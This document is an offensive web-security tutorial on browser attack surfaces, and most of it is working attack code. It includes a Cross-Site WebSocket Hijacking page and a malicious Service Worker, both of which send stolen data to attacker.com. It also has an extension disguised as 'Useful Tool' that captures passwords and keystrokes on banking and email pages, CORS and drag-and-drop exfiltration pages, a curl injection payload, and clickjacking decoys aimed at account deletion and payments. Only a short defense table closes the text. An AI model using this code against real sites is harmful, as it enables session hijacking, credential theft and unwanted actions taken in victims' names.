Part 1: WebSocket Security
WebSocket Handshake and Security Controls
WebSocket establishes a persistent, bidirectional communication channel between client and server. The connection begins with an HTTP Upgrade request, and the security of this handshake determines whether cross-site attacks are possible. The critical security control is the Origin header — the browser automatically includes it in the handshake, and the server should validate it. Unlike regular HTTP requests, WebSocket handshakes are NOT protected by the Same-Origin Policy; the browser sends them cross-origin without restriction.
# WebSocket Upgrade Handshake (client → server):
GET /ws HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://target.com # <-- server MUST validate this!
Cookie: session=USER_SESSION # <-- automatically included by browser
# Server response (successful upgrade):
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
# The Sec-WebSocket-Key/Accept exchange provides integrity,
# but NOT authentication or authorization
# CSRF-like attacks are possible if Origin is not validated
Cross-Site WebSocket Hijacking (CSWSH)
CSWSH is the WebSocket equivalent of CSRF. A malicious page can open a WebSocket connection to a target application, with the victim's session cookies automatically included. If the server doesn't validate the Origin header, the attacker's page effectively takes over the victim's WebSocket session and can send/receive all messages.
<!-- Complete CSWSH Proof of Concept -->
<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script>
// Step 1: Connect to target's WebSocket endpoint
// Browser automatically includes target.com cookies in the handshake!
const ws = new WebSocket('wss://target.com/ws/chat');
ws.onopen = function() {
console.log('[CSWSH] Connected to WebSocket!');
// Connection established with victim's session cookies
// Server authenticated us as the victim!
// Step 2: Send messages as the victim
ws.send(JSON.stringify({
type: 'get_messages',
inbox: 'all'
}));
// Step 3: Request sensitive data
ws.send(JSON.stringify({
type: 'get_profile',
include: 'all'
}));
};
ws.onmessage = function(event) {
console.log('[CSWSH] Received:', event.data);
// Exfiltrate received messages to attacker server:
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
websocket_data: event.data,
timestamp: Date.now()
})
});
};
ws.onerror = function(error) {
console.log('[CSWSH] Error - Origin may be validated:', error);
};
ws.onclose = function(event) {
console.log(`[CSWSH] Closed: ${event.code} ${event.reason}`);
};
</script>
</body>
</html>
WebSocket Message Tampering and Injection
# Testing WebSockets in Burp Suite:
# 1. Enable Burp proxy with WebSocket interception
# 2. Navigate to the target application that uses WebSockets
# 3. Burp > Proxy > WebSockets history tab
# 4. Right-click a message > Send to Repeater
# Burp WebSocket Repeater:
# - Modify message content and resend
# - Test for message injection vulnerabilities
# - Check for SQL injection, XSS, command injection in WS messages
# Common WebSocket message injection tests:
# Original message:
{"action": "search", "query": "laptop"}
# SQLi test:
{"action": "search", "query": "laptop' OR '1'='1"}
{"action": "search", "query": "laptop\"; DROP TABLE products; --"}
# XSS test (if messages are rendered in UI):
{"action": "chat", "message": "<script>alert(1)</script>"}
{"action": "chat", "message": "<img src=x onerror=alert(document.cookie)>"}
# Command injection (if messages are executed server-side):
{"action": "execute", "command": "ping; id"}
{"action": "ping", "host": "127.0.0.1; curl http://attacker.com/rce"}
# WebSocket fuzzing with wscat:
npm install -g wscat
wscat -c wss://target.com/ws -H "Cookie: session=YOUR_SESSION"
# Then type messages interactively or pipe from file
WebSocket Smuggling to HTTP
# WebSocket smuggling exploits server-side protocol handling to
# make WebSocket frames appear as HTTP requests to back-end servers
# The upgrade request passes through the front-end proxy
# The back-end receives the HTTP upgrade request and processes it
# If the proxy doesn't fully validate the WebSocket upgrade:
# an attacker can send data that looks like HTTP to the back-end
# More practical: SSRF via WebSocket
# Some servers allow ws:// or wss:// URLs in SSRF-vulnerable parameters
# ws://169.254.169.254/ to access AWS metadata via WebSocket handshake
# Detecting WebSocket endpoints:
# In JavaScript source: new WebSocket('wss://...')
# Look for: ws://, wss:// in JS files
# Check: /socket.io/, /ws, /websocket, /wss
# Burp: Proxy > WebSockets history (auto-populated)
# WebSocket without TLS (ws://) vulnerabilities:
# On HTTP pages: ws:// is allowed and subject to MITM
# Attacker on same network can intercept and modify WebSocket frames
# Inject malicious messages into the stream
Part 2: Browser Exploitation Surface
Service Worker Abuse
Service Workers are JavaScript files that run in the background, separate from the web page, acting as a proxy between the browser and the network. They are powerful for offline caching and push notifications, but their capabilities make them a significant attack vector when XSS or other vulnerabilities allow registering malicious Service Workers:
// Step 1: Register a malicious Service Worker via XSS
// (requires that the XSS is on the same origin as the SW scope)
// Attacker's XSS payload:
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
.then(reg => {
console.log('[SW] Malicious Service Worker registered!');
console.log('[SW] Scope:', reg.scope);
})
.catch(err => console.log('[SW] Registration failed:', err));
// Step 2: The Service Worker file (evil-sw.js — uploaded via file upload or path traversal):
// This file intercepts ALL network requests from the victim's browser to this origin
self.addEventListener('install', (event) => {
self.skipWaiting(); // activate immediately
});
self.addEventListener('activate', (event) => {
event.waitUntil(clients.claim()); // take control of all pages
});
// Intercept ALL fetch requests from pages under SW scope:
self.addEventListener('fetch', (event) => {
const url = event.request.url;
const isApi = url.includes('/api/');
if (isApi) {
// Proxy the request but exfiltrate the response:
event.respondWith(
fetch(event.request.clone()).then(response => {
const cloned = response.clone();
// Async exfiltration of API response:
cloned.text().then(body => {
fetch('https://attacker.com/intercept', {
method: 'POST',
body: JSON.stringify({
url: url,
status: response.status,
body: body,
timestamp: Date.now()
})
});
});
return response; // Return unmodified response to the page
})
);
}
});
// Service Worker as C2 channel:
// SW can receive push notifications and maintain persistent access
// Even after the user closes all tabs, the SW remains active!
self.addEventListener('push', (event) => {
const command = event.data.text();
// Execute commands received via push notification
fetch(`/api/execute?cmd=${encodeURIComponent(command)}`);
});
// Persistent XSS via Service Worker caching:
self.addEventListener('fetch', (event) => {
if (event.request.url.includes(self.location.origin)) {
event.respondWith(
caches.open('pwned').then(cache => {
return cache.match(event.request).then(cached => {
if (cached) {
// Serve poisoned cached version (with our XSS payload embedded):
return new Response(
cached_html_with_xss_payload,
{ headers: { 'Content-Type': 'text/html' }}
);
}
return fetch(event.request);
});
})
);
}
});
// Now every page load on this origin serves the XSS payload!
// Persists until the Service Worker is unregistered
Browser Extension Attack Surface
// Browser extensions run in a privileged context with access to:
// - All browser tabs and their content
// - Network requests (via webRequest API)
// - Cookies and localStorage
// - Browser history
// - Clipboard content
// - Camera/microphone (if granted)
// Content Script Injection vulnerability:
// Content scripts run in the context of web pages with access to their DOM
// If a content script doesn't validate message origins:
// Vulnerable extension content_script.js:
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
// MISSING: origin validation!
if (message.action === 'injectScript') {
eval(message.code); // Execute arbitrary code in page context!
}
});
// Attack from malicious web page:
// If the page knows the extension ID (predictable or leaked):
chrome.runtime.sendMessage(
'EXTENSION_ID', // known extension ID
{ action: 'injectScript', code: 'alert(document.cookie)' },
response => console.log(response)
);
// Background page postMessage:
// Extension background pages accept messages from content scripts
// A malicious page can inject a content script payload via DOM-based XSS
// which then communicates with the extension background
// Finding extension IDs:
// 1. Check web_accessible_resources in manifest.json
// 2. Look for chrome-extension:// URLs in page source
// 3. Enumerate: chrome.runtime.sendMessage(ext_id, {}, () => chrome.runtime.lastError)
Extension Privilege Escalation
// Extensions with "all_urls" permission or wide URL matches can:
// - Read page content from any site
// - Modify pages before they load
// - Exfiltrate data from sensitive pages (banking, email)
// Malicious extension that steals data from all sites:
// manifest.json:
{
"manifest_version": 3,
"name": "Useful Tool",
"permissions": ["tabs", "webRequest", "storage", "cookies"],
"host_permissions": ["<all_urls>"],
"content_scripts": [{
"matches": ["https://bank.com/*", "https://mail.google.com/*"],
"js": ["steal.js"]
}]
}
// steal.js (injected into banking/email pages):
(function() {
// Grab all page content:
const pageData = document.documentElement.innerHTML;
// Extract form values, passwords, tokens:
const passwords = document.querySelectorAll('input[type=password]');
passwords.forEach(p => {
fetch('https://attacker.com/steal?pwd=' + encodeURIComponent(p.value));
});
// Capture keystrokes:
document.addEventListener('keypress', e => {
fetch('https://attacker.com/keys?k=' + encodeURIComponent(e.key));
});
})();
CORS Misconfiguration Exploitation
// CORS headers and their vulnerabilities:
// Wildcard CORS (weakest):
Access-Control-Allow-Origin: *
// Allows any origin to read the response
// BUT: only works for requests WITHOUT credentials
// Cookies are NOT sent with wildcard CORS
// Trusted origin reflection (most dangerous):
// Server reflects back whatever Origin the request has
// If checked: if (allowedOrigins.includes(origin)) response.setHeader(ACAO, origin)
// But if checked poorly:
// Vulnerable: prefix matching
if (origin.startsWith('https://target.com')) // bypass: https://target.com.attacker.com
// Vulnerable: substring matching
if (origin.includes('target.com')) // bypass: https://evil-target.com
// Vulnerable: null origin
Access-Control-Allow-Origin: null // bypass: use sandboxed iframe
// Full CORS misconfiguration exploit:
// Server has:
// Access-Control-Allow-Origin: https://attacker.com (when Origin: https://attacker.com is sent)
// Access-Control-Allow-Credentials: true
// Exploit page at https://attacker.com/exploit.html:
fetch('https://target.com/api/private-data', {
credentials: 'include', // send target.com cookies
headers: { 'Origin': 'https://attacker.com' }
}).then(r => r.json()).then(data => {
// Received private data due to CORS misconfiguration!
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
// Null origin bypass (via sandboxed iframe):
// Create a sandboxed iframe that has null origin:
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts';
iframe.srcdoc = `<script>
fetch('https://target.com/api/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => top.postMessage(d, '*'));
</script>`;
document.body.appendChild(iframe);
// Request Origin header will be "null"
// If server allows null origin with credentials = data exfiltrated
Part 3: Clickjacking 2.0 — UI Redressing
Classic Clickjacking
<!-- Classic clickjacking PoC -->
<!DOCTYPE html>
<html>
<head>
<style>
body { margin: 0; }
/* The decoy button that victim sees: */
#decoy-button {
position: absolute;
top: 200px;
left: 200px;
width: 150px;
height: 40px;
background: #4CAF50;
color: white;
font-size: 16px;
cursor: pointer;
z-index: 1;
line-height: 40px;
text-align: center;
}
/* The invisible iframe on top: */
iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.001; /* Nearly invisible but still clickable */
z-index: 2; /* On top of decoy button */
}
</style>
</head>
<body>
<div id="decoy-button">Click to Win Prize!</div>
<!-- Positioned so the "Delete Account" button aligns with decoy -->
<iframe src="https://target.com/account/settings"
style="top:-200px; left:-100px; width:800px; height:600px;">
</iframe>
</body>
</html>
Multistep Clickjacking
<!-- Multistep clickjacking: requires two clicks (e.g., "Delete" then "Confirm Delete") -->
<!DOCTYPE html>
<html>
<head>
<style>
.step { display: none; }
.step.active { display: block; }
iframe {
position: absolute;
opacity: 0.001;
z-index: 100;
}
.decoy-btn {
position: absolute;
z-index: 1;
padding: 10px 20px;
background: #e74c3c;
color: white;
cursor: pointer;
font-size: 18px;
}
</style>
</head>
<body>
<!-- Step 1: Position iframe over "Delete Account" button -->
<div id="step1" class="step active">
<div class="decoy-btn" style="top:300px; left:250px;">Claim Your Reward</div>
<iframe id="frame1" src="https://target.com/settings"
style="top:0; left:0; width:100%; height:100%;"></iframe>
</div>
<!-- Step 2: After first click, show step 2 (iframe repositioned for confirm button) -->
<div id="step2" class="step">
<div class="decoy-btn" style="top:400px; left:200px;">Continue</div>
<iframe id="frame2" src="https://target.com/settings"
style="top:-100px; left:0; width:100%; height:100%;"></iframe>
</div>
<script>
let currentStep = 1;
document.addEventListener('click', () => {
if (currentStep === 1) {
document.getElementById('step1').classList.remove('active');
document.getElementById('step2').classList.add('active');
currentStep = 2;
}
});
</script>
</body>
</html>
Drag-and-Drop Jacking
<!-- Drag-and-drop jacking: user drags an element, unknowingly drags from target iframe -->
<!DOCTYPE html>
<html>
<body>
<p>Drag the image below to upload it:</p>
<!-- Visible drag target (decoy) -->
<div id="upload-zone"
style="width:200px; height:200px; background:#eee; border:2px dashed #999;"
ondrop="handleDrop(event)" ondragover="event.preventDefault()">
Drop here
</div>
<!-- Hidden iframe positioned over a text field with sensitive data -->
<!-- User initiates drag on the decoy, but drops into the hidden iframe -->
<iframe src="https://target.com/profile?text_content_is_here"
style="position:absolute; top:0; left:0; width:100%; height:100%;
opacity:0.001; z-index:100;">
</iframe>
<script>
// When user drags from within the iframe (the text field value)
// and drops to an external location, the browser may fire a drag event
// with the contents of the selected text from the iframe
document.addEventListener('drop', (e) => {
// Capture dropped content (may include clipboard data from iframe):
const text = e.dataTransfer.getData('text/plain');
if (text) {
fetch('https://attacker.com/stolen?data=' + encodeURIComponent(text));
}
});
</script>
</body>
</html>
Cursorjacking and Touchscreen Attacks
<!-- Cursorjacking: replace the visual cursor with a fake cursor
that appears at a different location than the actual click position -->
<style>
* { cursor: none !important; } /* Hide real cursor */
#fake-cursor {
position: fixed;
width: 20px;
height: 20px;
background: url('cursor.png') no-repeat;
pointer-events: none;
z-index: 99999;
/* Offset the fake cursor from real cursor position: */
margin-top: -100px; /* fake cursor appears 100px above real click point */
margin-left: -50px;
}
</style>
<div id="fake-cursor"></div>
<script>
// Move fake cursor with offset to deceive user:
document.addEventListener('mousemove', (e) => {
const cursor = document.getElementById('fake-cursor');
cursor.style.left = e.clientX + 'px';
cursor.style.top = e.clientY + 'px';
// Cursor appears at (x, y) but actual click lands at (x+50, y+100)
// Position the target iframe to align with the REAL click point
});
</script>
<!-- Mobile/touchscreen clickjacking:
More effective on mobile — no mouse cursor to fake
Touch events follow the same SOP exemption as click events
Technique: position tiny invisible elements over large touch targets
User thinks they're tapping a large "Accept" button
Actually tapping a tiny but precisely positioned iframe button -->
<iframe src="https://target.com/confirm-payment"
style="position:fixed; top:calc(50% - 25px); left:calc(50% - 60px);
width:120px; height:50px; opacity:0.001; z-index:100;">
</iframe>
<div style="position:fixed; top:0; left:0; width:100%; height:100%;
background:rgba(0,0,0,0.8); z-index:1; text-align:center; padding-top:45%;">
<button style="width:300px; height:50px; font-size:20px;">WIN FREE IPHONE</button>
</div>
Bypassing X-Frame-Options and CSP frame-ancestors
# X-Frame-Options: DENY — prevents any framing
# X-Frame-Options: SAMEORIGIN — only same-origin framing
# CSP: frame-ancestors 'none' — more flexible, same effect
# Bypasses:
# Bypass 1: Double iframe technique
# Some older browsers/proxies only check the DIRECT parent frame
# Use an intermediate same-origin iframe:
# attacker.com/outer.html embeds target.com's iframe in an inner iframe
# (doesn't work in modern browsers, historical bypass)
# Bypass 2: Find pages that DON'T have the header
# Not all pages on a domain have X-Frame-Options
# Sub-pages, API endpoints, login pages may lack the header
# Tool: check all pages:
for url in $(cat urls.txt); do
result=$(curl -s -I "$url" | grep -i "x-frame-options\|frame-ancestors")
if [ -z "$result" ]; then
echo "NO PROTECTION: $url"
fi
done
# Bypass 3: Framebusting bypass
# Old applications use JavaScript to detect framing:
if (top !== self) { top.location = self.location; } // framebusting
# Bypass: sandbox attribute prevents JavaScript execution in iframe:
<iframe src="https://target.com/" sandbox="allow-forms allow-scripts"></iframe>
# With sandbox, the framebusting JavaScript runs in the iframe
# But top.location assignment is blocked by sandbox!
# The iframe is stuck — framebusting is defeated!
# Another framebusting bypass — double iframe:
<iframe src="about:blank" id="outer"></iframe>
<script>
const outer = document.getElementById('outer');
outer.contentDocument.write(
'<iframe src="https://target.com/" sandbox="allow-forms"></iframe>'
);
</script>
# Bypass 4: Flash (legacy, rare):
# Flash could frame any page regardless of X-Frame-Options
# Bypass 5: Subdomain with lax X-Frame-Options
# target.com has X-Frame-Options: SAMEORIGIN
# subdomain.target.com allows framing and does a client-side redirect to target.com
# Use subdomain as the iframe src (same site, different origin behavior varies by browser)
Browser-Specific Clickjacking Behaviors
# Chrome:
# Enforces X-Frame-Options strictly
# CSP frame-ancestors overrides X-Frame-Options
# Clickjacking via extension popups possible (different context)
# Firefox:
# Adds extra clickjacking protection: requires two events (mousedown + mouseup)
# Double-click attacks may bypass single-click protections
# UI Tour elements can sometimes be clickjacked
# Safari:
# Generally good protection
# ITP (Intelligent Tracking Prevention) may affect cross-origin cookies
# Which impacts credential inclusion in clickjacking attacks
# Testing clickjacking (manual):
python3 -c "
print('''<!DOCTYPE html>
<html>
<body>
<iframe src=\"https://TARGET_URL\"
style=\"width:100%;height:100vh;border:0;\"></iframe>
</body>
</html>''')
" > clickjack_test.html
# Open in browser — if target loads in iframe: clickjacking possible
# ClickJacker tool:
# Burp Suite > Extensions > Clickjacker (automated PoC generation)
WebSocket Testing in Burp Suite
# Complete Burp WebSocket testing workflow:
# 1. Enable WebSocket interception:
# Burp > Proxy > Intercept > WebSockets tab
# Check: "Intercept WebSockets"
# 2. View WebSocket history:
# Burp > Proxy > WebSockets history
# Shows all WS messages with direction, timestamp, content
# 3. Send WS message to Repeater:
# Right-click message > Send to Repeater
# Modify the message and click "Send"
# Observe server response
# 4. Scan for WebSocket vulnerabilities:
# Right-click in WS history > Scan
# 5. Match and Replace for WS:
# Proxy > Options > Match and Replace
# Can automatically modify outgoing WS messages
# 6. Testing CSWSH:
# Right-click the WS upgrade request > Copy as fetch
# Modify origin header and paste in browser console
# Or: generate CSWSH PoC HTML
# wscat for command-line WebSocket testing:
wscat -c "wss://target.com/ws" \
-H "Cookie: session=YOUR_SESSION" \
-H "Origin: https://target.com"
# Then type JSON messages:
> {"action":"get_messages"}
< {"messages":[...]}
# Fuzzing WebSocket with wsfuzz:
wsfuzz -u wss://target.com/ws \
-H "Cookie: session=SESSION" \
-d '{"action":"FUZZ"}' \
-w /usr/share/wordlists/actions.txt
Defense Summary
| Attack | Primary Defense | Implementation |
|---|---|---|
| CSWSH | Origin header validation | Server-side: validate Origin matches allowed list |
| WS message injection | Input validation | Validate and sanitize all WebSocket message fields |
| Malicious SW | No XSS + SW CSP | Prevent XSS; restrict SW registration to trusted scripts |
| CORS abuse | Strict origin allowlist | Never reflect Origin; use explicit allowlist; don't combine * with credentials |
| Classic clickjacking | CSP frame-ancestors | frame-ancestors 'none' or specific trusted origins |
| Cursorjacking | N/A (browser design) | Hard to prevent; design UX to not rely on cursor position |
| Extension attack | Content Security Policy | Limit permissions requested by extensions; use Manifest V3 |
The browser has become the most complex attack surface in modern security. WebSocket vulnerabilities, Service Worker abuse, browser extension attacks, CORS misconfigurations, and clickjacking each represent distinct attack vectors that require specific technical understanding and testing methodology. The common thread is that browser security features — the Same-Origin Policy, CORS, CSP — are complex specifications implemented differently across browser vendors, creating subtle gaps that skilled attackers exploit. A comprehensive web application security assessment must include all of these vectors, not just traditional HTTP request/response testing.